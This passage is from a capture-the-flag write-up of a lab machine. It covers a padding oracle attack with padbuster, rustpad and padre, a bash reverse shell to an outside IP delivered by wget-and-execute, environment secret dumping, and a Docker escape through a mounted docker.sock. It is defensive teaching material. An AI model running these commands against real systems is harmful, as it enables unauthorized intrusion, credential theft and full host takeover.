class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> isLoggedIn</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">cookie</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">includes</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'loggedin'</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">    // Get the admin login button element</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> adminLoginBtn</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">querySelector</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'.admin-login-btn'</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">    // If the "isLoggedIn" cookie exists, change the button text to "FINDME"</span></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">isLoggedIn</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E5C07B">        adminLoginBtn</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">textContent</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'DEBUG'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">    // Add event listener to the admin login button</span></span><span class="line"><span style="color:#E5C07B">    adminLoginBtn</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addEventListener</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'click'</span><span style="color:#ABB2BF">, </span><span style="color:#C678DD">function</span><span style="color:#ABB2BF">() {</span></span><span class="line"><span style="color:#7F848E;font-style:italic">        // If the user is not logged in, redirect to login.html</span></span><span class="line"><span style="color:#C678DD">        if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!</span><span style="color:#E06C75">isLoggedIn</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E5C07B">            window</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">location</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">href</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'login.html'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">        } </span><span style="color:#C678DD">else</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E5C07B">            window</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">location</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">href</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'exec.html'</span></span><span class="line"><span style="color:#ABB2BF">        }</span></span><span class="line"><span style="color:#ABB2BF">    });</span></span><span class="line"><span style="color:#ABB2BF">});</span></span></code></pre></div></div></figure><p>There is a description talking about <em>authentication</em> and <em>oracle</em>.</p><p>On the debug page we can read:</p><blockquote><p>TODO: Implement custom authentication</p><p>Your custom authentication implementation goes here.</p></blockquote><blockquote><p>TODO: Fix verbose error (padding)</p><p>Fix the verbose error related to padding.</p></blockquote><p>And the following script is included on the page:</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> stefanTest1002</span><span style="color:#ABB2BF">() {</span></span><span class="line"><span style="color:#C678DD">    var</span><span style="color:#E06C75"> xhr</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> XMLHttpRequest</span><span style="color:#ABB2BF">();</span></span><span class="line"><span style="color:#C678DD">    var</span><span style="color:#E06C75"> url</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "http://localhost/api/debug"</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#7F848E;font-style:italic">    // Submit the AES/CBC/PKCS payload to get an auth token</span></span><span class="line"><span style="color:#7F848E;font-style:italic">    // TODO: Finish logic to return token</span></span><span class="line"><span style="color:#E5C07B">    xhr</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">open</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"GET"</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">url</span><span style="color:#56B6C2"> +</span><span style="color:#98C379"> "/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4"</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">true</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#E5C07B">    xhr</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">onreadystatechange</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> function</span><span style="color:#ABB2BF"> () {</span></span><span class="line"><span style="color:#C678DD">        if</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">xhr</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">readyState</span><span style="color:#56B6C2"> ===</span><span style="color:#D19A66"> 4</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#E5C07B"> xhr</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">status</span><span style="color:#56B6C2"> ===</span><span style="color:#D19A66"> 200</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E5C07B">            console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">log</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Response: "</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">xhr</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">responseText</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">        } </span><span style="color:#C678DD">else</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E5C07B">            console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">error</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Failed to send request."</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">        }</span></span><span class="line"><span style="color:#ABB2BF">    };</span></span><span class="line"><span style="color:#E5C07B">    xhr</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">send</span><span style="color:#ABB2BF">();</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><p>So it seems the first step will be about cryptography and related to AES/CBC/PKCS, padding and an oracle to break the authentication.</p><p>The authentication API endpoint is: <a href="http://stefan.thm:8080/api/login?username=noraj&amp;password=azerty">http://stefan.thm:8080/api/login?username=noraj&amp;password=azerty</a>.</p><h2 id="Cryptography">Cryptography<a class="header-anchor" href="#Cryptography">#</a></h2><p>The example payload result in authentication success, while modifying it results in a description error.</p><figure class="shiki text"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ curl http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4</span></span><span class="line"><span>Custom authentication success</span></span><span class="line"><span></span></span><span class="line"><span>➜ curl http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF5</span></span><span class="line"><span>Decryption error</span></span></code></pre></div></div></figure><p>BlackArch offers a large choice of padding oracle attack tools:</p><figure class="shiki text"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ sudo pacman -Ss padding</span></span><span class="line"><span>…</span></span><span class="line"><span>blackarch/padbuster 11.50e4a3e-3 (blackarch blackarch-exploitation)</span></span><span class="line"><span>    Automated script for performing Padding Oracle attacks.</span></span><span class="line"><span>blackarch/padoracle v0.1.1.r25.gfbf4883-1 (blackarch blackarch-crypto)</span></span><span class="line"><span>    Padding Oracle Attack with Node.js.</span></span><span class="line"><span>blackarch/padre v2.2.0.r10.g18618f5-1 (blackarch blackarch-crypto)</span></span><span class="line"><span>    Padding Oracle attack tool.</span></span><span class="line"><span>blackarch/pax-oracle v0.2.2.r1.g38ac0d8-1 (blackarch blackarch-crypto)</span></span><span class="line"><span>    CLI tool for PKCS7 padding oracle attacks.</span></span><span class="line"><span>blackarch/poracle 68.dcc00b0-6 (blackarch blackarch-crypto blackarch-webapp)</span></span><span class="line"><span>    A tool for demonstrating padding oracle attacks.</span></span><span class="line"><span>blackarch/rustpad v1.8.1.r1.g11ce343-1 (blackarch blackarch-crypto blackarch-cracker)</span></span><span class="line"><span>    Multi-threaded Padding Oracle attacks against any service.</span></span></code></pre></div></div></figure><h3 id="Padding-Oracle-Attack">Padding Oracle Attack<a class="header-anchor" href="#Padding-Oracle-Attack">#</a></h3><h4 id="With-padbuster">With padbuster<a class="header-anchor" href="#With-padbuster">#</a></h4><figure class="shiki text"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ padbuster http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 16 -encoding 2</span></span><span class="line"><span></span></span><span class="line"><span>+-------------------------------------------+</span></span><span class="line"><span>| PadBuster - v0.3.3                        |</span></span><span class="line"><span>| Brian Holyfield - Gotham Digital Science  |</span></span><span class="line"><span>| labs@gdssecurity.com                      |</span></span><span class="line"><span>+-------------------------------------------+</span></span><span class="line"><span></span></span><span class="line"><span>INFO: The original request returned the following</span></span><span class="line"><span>[+] Status: 200</span></span><span class="line"><span>[+] Location: N/A</span></span><span class="line"><span>[+] Content Length: 29</span></span><span class="line"><span></span></span><span class="line"><span>INFO: Starting PadBuster Decrypt Mode</span></span><span class="line"><span>*** Starting Block 1 of 4 ***</span></span><span class="line"><span></span></span><span class="line"><span>INFO: No error string was provided...starting response analysis</span></span><span class="line"><span></span></span><span class="line"><span>*** Response Analysis Complete ***</span></span><span class="line"><span></span></span><span class="line"><span>The following response signatures were returned:</span></span><span class="line"><span></span></span><span class="line"><span>-------------------------------------------------------</span></span><span class="line"><span>ID#     Freq    Status  Length  Location</span></span><span class="line"><span>-------------------------------------------------------</span></span><span class="line"><span>1       1       200     29      N/A</span></span><span class="line"><span>2 **    255     500     16      N/A</span></span><span class="line"><span>-------------------------------------------------------</span></span><span class="line"><span></span></span><span class="line"><span>Enter an ID that matches the error condition</span></span><span class="line"><span>NOTE: The ID# marked with ** is recommended : 2</span></span><span class="line"><span></span></span><span class="line"><span>Continuing test with selection 2</span></span><span class="line"><span></span></span><span class="line"><span>[+] Success: (133/256) [Byte 16]</span></span><span class="line"><span>[+] Success: (250/256) [Byte 15]</span></span><span class="line"><span>[+] Success: (254/256) [Byte 14]</span></span><span class="line"><span>[+] Success: (174/256) [Byte 13]</span></span><span class="line"><span>[+] Success: (173/256) [Byte 12]</span></span><span class="line"><span>[+] Success: (245/256) [Byte 11]</span></span><span class="line"><span>[+] Success: (254/256) [Byte 10]</span></span><span class="line"><span>[+] Success: (248/256) [Byte 9]</span></span><span class="line"><span>[+] Success: (255/256) [Byte 8]</span></span><span class="line"><span>[+] Success: (246/256) [Byte 7]</span></span><span class="line"><span>[+] Success: (164/256) [Byte 6]</span></span><span class="line"><span>[+] Success: (168/256) [Byte 5]</span></span><span class="line"><span>[+] Success: (246/256) [Byte 4]</span></span><span class="line"><span>[+] Success: (163/256) [Byte 3]</span></span><span class="line"><span>[+] Success: (178/256) [Byte 2]</span></span><span class="line"><span>[+] Success: (166/256) [Byte 1]</span></span><span class="line"><span></span></span><span class="line"><span>Block 1 Results:</span></span><span class="line"><span>[+] Cipher Text (HEX): ea0dcc6e567f96414433ddf5dc29cdd5</span></span><span class="line"><span>[+] Intermediate Bytes (HEX): 4a4153075457000800050d565601047a</span></span><span class="line"><span>[+] Plain Text: stefan1197:ebb2B</span></span><span class="line"><span></span></span><span class="line"><span>Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, &#x3C;STDIN> line 1.</span></span><span class="line"><span>*** Starting Block 2 of 4 ***</span></span><span class="line"><span></span></span><span class="line"><span>[+] Success: (30/256) [Byte 16]</span></span><span class="line"><span>[+] Success: (8/256) [Byte 15]</span></span><span class="line"><span>[+] Success: (152/256) [Byte 14]</span></span><span class="line"><span>[+] Success: (18/256) [Byte 13]</span></span><span class="line"><span>…</span></span></code></pre></div></div></figure><h4 id="With-padoracle">With padoracle<a class="header-anchor" href="#With-padoracle">#</a></h4><p>padoracle requires writing a script, it doesn't iinteract with the web server directly.</p><h4 id="With-pax-oracle">With pax-oracle<a class="header-anchor" href="#With-pax-oracle">#</a></h4><p>Doesn't support hex encoding.</p><h4 id="With-poracle">With poracle<a class="header-anchor" href="#With-poracle">#</a></h4><p>poracle is more a library than a CLI tool.</p><h4 id="With-rustpad">With rustpad<a class="header-anchor" href="#With-rustpad">#</a></h4><p>As it's correctly multithreaded it's way faster than padbuster.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">rustpad</span><span style="color:#98C379"> web</span><span style="color:#D19A66"> --oracle</span><span style="color:#98C379"> http://stefan.thm:8080/api/debug/NORAJ</span><span style="color:#D19A66"> --block_size</span><span style="color:#D19A66"> 16</span><span style="color:#D19A66"> --decrypt</span><span style="color:#98C379"> 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4</span><span style="color:#D19A66"> --keyword</span><span style="color:#98C379"> NORAJ</span><span style="color:#D19A66"> -v</span><span style="color:#D19A66"> -e</span><span style="color:#98C379"> HEX</span></span></code></pre></div></div></figure><figure class="shiki text"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>rustpad                                                                                              [0/6]</span></span><span class="line"><span> ┌Cypher text [🠕/🠗]─────────────────────────────────────────────────────────────────────────────────────┐</span></span><span class="line"><span> │39353661353931393932373334633638                                                                      │</span></span><span class="line"><span> │ea0dcc6e567f96414433ddf5dc29cdd5                                                                      │</span></span><span class="line"><span> │e418961c0504891f0ded96ba57be8fcf                                                                      │</span></span><span class="line"><span> └──────────────────────────────────────────────────────────────────────────────────────────────────────┘</span></span><span class="line"><span> ┌Forged block──────────────────────────────────────────────────────────────────────────────────────────┐</span></span><span class="line"><span> │5a4e5d0a585c0a0108020b535202067b                                                                      │</span></span><span class="line"><span> │cd3482556857fa777303b8b1ee68f8e2                                                                      │</span></span><span class="line"><span> │b421b9513f3da070338ef1dc378fb8f7                                                                      │</span></span><span class="line"><span> └──────────────────────────────────────────────────────────────────────────────────────────────────────┘</span></span><span class="line"><span></span></span><span class="line"><span> ┌Intermediate block────────────────────────────────────────────────────────────────────────────────────┐</span></span><span class="line"><span> │00000000000000000000000000000000                                                                      │</span></span><span class="line"><span> │4a4153075457000800050d565601047a                                                                      │</span></span><span class="line"><span> │dd3b8c58645cf07e7b04beb4ea6bfae3                                                                      │</span></span><span class="line"><span> └──────────────────────────────────────────────────────────────────────────────────────────────────────┘</span></span><span class="line"><span> ┌Plain text────────────────────────────────────────────────────────────────────────────────────────────┐</span></span><span class="line"><span> │00000000000000000000000000000000                                     ................                 │</span></span><span class="line"><span> │73746566616e313139373a6562623242                                     stefan1197:ebb2B                 │</span></span><span class="line"><span> │373640363223663f3f37634136423736                                     76@62#f??7cA6B76                 │</span></span><span class="line"><span> │40362140363223663664616364323539                                     @6!@62#f6dacd259                 │</span></span><span class="line"><span> │390f0f0f0f0f0f0f0f0f0f0f0f0f0f0f                                     9...............                 │</span></span><span class="line"><span> │                                                                                                      │</span></span><span class="line"><span> │                                                                                                      │</span></span><span class="line"><span> │                                                                                                      │</span></span><span class="line"><span> │                                                                                                      │</span></span><span class="line"><span> │                                                                                                      │</span></span><span class="line"><span> └──────────────────────────────────────────────────────────────────────────────────────────────────────┘</span></span><span class="line"><span> ┌Status────────────────────────────────────────────────────────────────────────────────────────────────┐</span></span><span class="line"><span> │                                                                                                      │</span></span><span class="line"><span> │                                                 100%                                                 │</span></span><span class="line"><span> │                                                                                                      │</span></span><span class="line"><span> │Log [PgUp/PgDwn]                                                                                      │</span></span><span class="line"><span> │         0.200.234:8080/api/debug/765143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5    │</span></span><span class="line"><span> │10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqw│</span></span><span class="line"><span> │         est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1│</span></span><span class="line"><span> │         0.200.234:8080/api/debug/745143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5    │</span></span><span class="line"><span> │10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqw│</span></span><span class="line"><span> │         est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1│</span></span><span class="line"><span> │         0.200.234:8080/api/debug/625143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5    │</span></span><span class="line"><span> │10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqw│</span></span><span class="line"><span> │         est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1│</span></span><span class="line"><span> │         0.200.234:8080/api/debug/d85143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5    │</span></span><span class="line"><span> │10:39:00:INFO :rustpad:Block 1/4: decrypted!                                                          │</span></span><span class="line"><span> │10:39:00:INFO :rustpad:The oracle talked some gibberish. It took 18s                                  │</span></span><span class="line"><span> │10:39:00:INFO :rustpad:Their divination is: stef…     :edited                                         │</span></span><span class="line"><span> │                                                                                                      │</span></span><span class="line"><span> └──────────────────────────────────────────────────────────────────────────────────────────────────────┘</span></span></code></pre></div></div></figure><p>This gives <strong>Flag 1</strong>.</p><h4 id="With-padre">With padre<a class="header-anchor" href="#With-padre">#</a></h4><p>This one is was yet in BA at the time of doing this challenge, but I'm added it (<a href="https://github.com/BlackArch/blackarch/pull/4176/files">PR #4176</a>) afterwards.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">padre</span><span style="color:#D19A66"> -u</span><span style="color:#98C379"> 'http://stefan.thm:8080/api/debug/$'</span><span style="color:#D19A66"> -e</span><span style="color:#98C379"> lhex</span><span style="color:#D19A66"> -b</span><span style="color:#D19A66"> 16</span><span style="color:#98C379"> 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4</span></span></code></pre></div></div></figure><figure class="shiki text"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>[i] padre is on duty</span></span><span class="line"><span>[i] using concurrency (http connections): 30</span></span><span class="line"><span>[+] successfully detected padding oracle</span></span><span class="line"><span>[!] mode: decrypt</span></span><span class="line"><span>[1/1] stefan…:edited... [64/64] | reqs: 7508 (268/sec)</span></span></code></pre></div></div></figure><p>It's as fast as <code>rustpad</code> but has fewer options and not the possibility to work with script as well (only web apps).</p><h2 id="Blind-RCE">Blind RCE<a class="header-anchor" href="#Blind-RCE">#</a></h2><p>Now we can authenticate with Stefan's account on <a href="http://stefan.thm:8080/login.html">http://stefan.thm:8080/login.html</a> and use the admin panel page <a href="http://stefan.thm:8080/exec.html">http://stefan.thm:8080/exec.html</a> that allows command execution.</p><p>On this page is displayed <strong>Flag 2</strong>.</p><p>However, we don't have any output of the command, and it seems to be executed asynchronously.So we have a blind remote command execution.</p><p>We can use the convenient <a href="https://www.revshells.com/">https://www.revshells.com/</a> to generate reverse shells.</p><p>Asking for a bash reverse shell directly like <code>/bin/bash -i &gt;&amp; /dev/tcp/10.18.17.12/9999 0&gt;&amp;1</code> won't work, probably because of how the app handle input/output. Nothing with <code>&gt;</code> or <code>|</code> works.But <code>wget</code> a script containing exactly the same command and execute it will work.Also, <code>bash</code> seems not source, we should use <code>/bin/bash</code>.</p><p><code>noraj.sh</code></p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic">#!/bin/bash</span></span><span class="line"><span style="color:#61AFEF">/bin/bash</span><span style="color:#D19A66"> -i</span><span style="color:#ABB2BF"> >&#x26; </span><span style="color:#98C379">/dev/tcp/10.18.17.12/9999</span><span style="color:#ABB2BF"> 0>&#x26;1</span></span></code></pre></div></div></figure><p>Start a web server on <code>0.0.0.0:8080</code>: <code>ruby -run -e httpd . -p 8080</code>.</p><p>Then download the script and execute it.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">wget</span><span style="color:#98C379"> http://10.18.17.12:8080/noraj.sh</span><span style="color:#D19A66"> -O</span><span style="color:#98C379"> /tmp/noraj.sh</span></span><span class="line"><span style="color:#61AFEF">/bin/bash</span><span style="color:#98C379"> /tmp/noraj.sh</span></span></code></pre></div></div></figure><p>We receive the connection:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ncat -lvnp 9999</span></span><span class="line"><span>Ncat: Version 7.95 ( https://nmap.org/ncat )</span></span><span class="line"><span>Ncat: Listening on [::]:9999</span></span><span class="line"><span>Ncat: Listening on 0.0.0.0:9999</span></span><span class="line"><span>id</span></span><span class="line"><span>Ncat: Connection from 10.10.171.186:35418.</span></span><span class="line"><span>bash: cannot set terminal process group (1): Inappropriate ioctl for device</span></span><span class="line"><span>bash: no job control in this shell</span></span><span class="line"><span>root@02e849f307cc:/# id</span></span><span class="line"><span>uid=0(root) gid=0(root) groups=0(root)</span></span></code></pre></div></div></figure><h2 id="System-enumeration">System enumeration<a class="header-anchor" href="#System-enumeration">#</a></h2><p>We are root but as you can imagine, that's not the end. In fact the existence of <code>/.dockerenv</code> proves we are in a docker container.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@02e849f307cc:/# ls -lhA /</span></span><span class="line"><span>total 72K</span></span><span class="line"><span>-rwxr-xr-x   1 root root    0 May  8 12:25 .dockerenv</span></span><span class="line"><span>drwxr-xr-x   1 root root 4.0K May  8 12:25 app</span></span><span class="line"><span>drwxr-xr-x   1 root root 4.0K May  8 12:25 bin</span></span><span class="line"><span>drwxr-xr-x   2 root root 4.0K Jun 30  2022 boot</span></span></code></pre></div></div></figure><p>The application must be deployed in <code>/app</code>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@02e849f307cc:/# ls -lhA /app</span></span><span class="line"><span>total 15M</span></span><span class="line"><span>drwxr-xr-x 8 root root 4.0K May  8 12:20 .git</span></span><span class="line"><span>-rw-r--r-- 1 root root  435 May  8 12:20 .gitignore</span></span><span class="line"><span>-rw-r--r-- 1 root root  381 May  8 12:20 Dockerfile</span></span><span class="line"><span>-rw-r--r-- 1 root root   58 May  8 12:20 README.md</span></span><span class="line"><span>-rw-r--r-- 1 root root  809 May  8 12:20 build.gradle.kts</span></span><span class="line"><span>-rw-r--r-- 1 root root  602 May  8 12:20 docker-compose.yml</span></span><span class="line"><span>drwxr-xr-x 3 root root 4.0K May  8 12:20 gradle</span></span><span class="line"><span>-rw-r--r-- 1 root root   92 May  8 12:20 gradle.properties</span></span><span class="line"><span>-rwxr-xr-x 1 root root 7.9K May  8 12:20 gradlew</span></span><span class="line"><span>-rw-r--r-- 1 root root 2.7K May  8 12:20 gradlew.bat</span></span><span class="line"><span>-rw-r--r-- 1 root root  15M May  8 12:24 ktor-docker-sample.jar</span></span><span class="line"><span>-rw-r--r-- 1 root root   30 May  8 12:20 settings.gradle.kts</span></span><span class="line"><span>drwxr-xr-x 4 root root 4.0K May  8 12:20 src</span></span></code></pre></div></div></figure><p>We could directly look for flags as we know the format:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@02e849f307cc:/app# grep -r 'THM{' .</span></span><span class="line"><span>./docker-compose.yml:      - CTF_DOCKER_FLAG=THM{…}</span></span><span class="line"><span>./docker-compose.yml:      - CTF_ADMIN_PANEL_FLAG=THM{…}</span></span></code></pre></div></div></figure><p>We could also have found it via environment variables:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@02e849f307cc:/app# env</span></span><span class="line"><span>HOSTNAME=02e849f307cc</span></span><span class="line"><span>JAVA_HOME=/usr/local/openjdk-11</span></span><span class="line"><span>PWD=/app</span></span><span class="line"><span>CTF_USERNAME=stefan…</span></span><span class="line"><span>HOME=/root</span></span><span class="line"><span>LANG=C.UTF-8</span></span><span class="line"><span>CTF_DOCKER_FLAG=THM{…}</span></span><span class="line"><span>CTF_RESOURCES=/app/src/resources</span></span><span class="line"><span>CTF_ENCRYPTION_IV=…</span></span><span class="line"><span>SHLVL=2</span></span><span class="line"><span>CTF_ENCRYPTION_KEY=…</span></span><span class="line"><span>PATH=/usr/local/openjdk-11/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</span></span><span class="line"><span>CTF_ADMIN_PANEL_FLAG=THM{…}</span></span><span class="line"><span>CTF_PASSWORD=…</span></span><span class="line"><span>JAVA_VERSION=11.0.16</span></span><span class="line"><span>_=/usr/bin/env</span></span><span class="line"><span>OLDPWD=/</span></span></code></pre></div></div></figure><p>We have <strong>Flag 3</strong>.</p><h2 id="Docker-escape">Docker escape<a class="header-anchor" href="#Docker-escape">#</a></h2><p>In <code>docker-compose.yml</code>, we can see the docker host daemon socket is mounted into the container. That's an elevation of privilege vector.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@02e849f307cc:/app# cat docker-compose.yml</span></span><span class="line"><span>version: "3"</span></span><span class="line"><span>services:</span></span><span class="line"><span>  web:</span></span><span class="line"><span>    build: .</span></span><span class="line"><span>    ports:</span></span><span class="line"><span>      - "8080:8080"</span></span><span class="line"><span>    volumes:</span></span><span class="line"><span>      - /var/run/docker.sock:/var/run/docker.sock</span></span><span class="line"><span>    restart: always</span></span><span class="line"><span>    environment:</span></span><span class="line"><span>      - CTF_USERNAME=…</span></span><span class="line"><span>      - CTF_PASSWORD=…</span></span><span class="line"><span>      - CTF_ENCRYPTION_KEY=…</span></span><span class="line"><span>      - CTF_ENCRYPTION_IV=…</span></span><span class="line"><span>      - CTF_RESOURCES=/app/src/resources</span></span><span class="line"><span>      - CTF_DOCKER_FLAG=THM{…}</span></span><span class="line"><span>      - CTF_ADMIN_PANEL_FLAG=THM{…}</span></span></code></pre></div></div></figure><p>Let's see the images availables:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>849f307cc:/app# docker images</span></span><span class="line"><span>REPOSITORY               TAG       IMAGE ID       CREATED         SIZE</span></span><span class="line"><span>padding-oracle-app_web   latest    cd6261dd9dda   2 months ago    1.01GB</span></span><span class="line"><span>&#x3C;none>                   &#x3C;none>    4187efabd0a5   2 months ago    704MB</span></span><span class="line"><span>gradle                   7-jdk11   d5954e1d9fa4   2 months ago    687MB</span></span><span class="line"><span>openjdk                  11        47a932d998b7   23 months ago   654MB</span></span></code></pre></div></div></figure><p>But if we try to execute something, we'll get an error as we don't have a TTY.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@02e849f307cc:/app# docker run -v /:/mnt --rm -it openjdk:11 chroot /mnt bash</span></span><span class="line"><span>the input device is not a TTY</span></span></code></pre></div></div></figure><p>So first, we need to spawn one:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@02e849f307cc:/app# python3 -c "import pty; pty.spawn('/bin/bash')"</span></span></code></pre></div></div></figure><p>Then we can re run the escape method:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@02e849f307cc:/app# docker run -v /:/mnt --rm -it openjdk:11 chroot /mnt bash</span></span></code></pre></div></div></figure><p>This time we are root on the host:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@567fe47abc33:/#ls -lhA /</span></span><span class="line"><span>total 68K</span></span><span class="line"><span>lrwxrwxrwx   1 root root    7 Oct 26  2020 bin -> usr/bin</span></span><span class="line"><span>drwxr-xr-x   3 root root 4.0K May  8 06:53 boot</span></span><span class="line"><span>drwxr-xr-x  15 root root 3.2K Jul 19 08:13 dev</span></span><span class="line"><span>drwxr-xr-x  97 root root 4.0K Jul 19 08:13 etc</span></span><span class="line"><span>-rw-r--r--   1 root root   70 May  8 12:22 flag.txt</span></span><span class="line"><span>drwxr-xr-x   3 root root 4.0K May  7 19:33 home</span></span><span 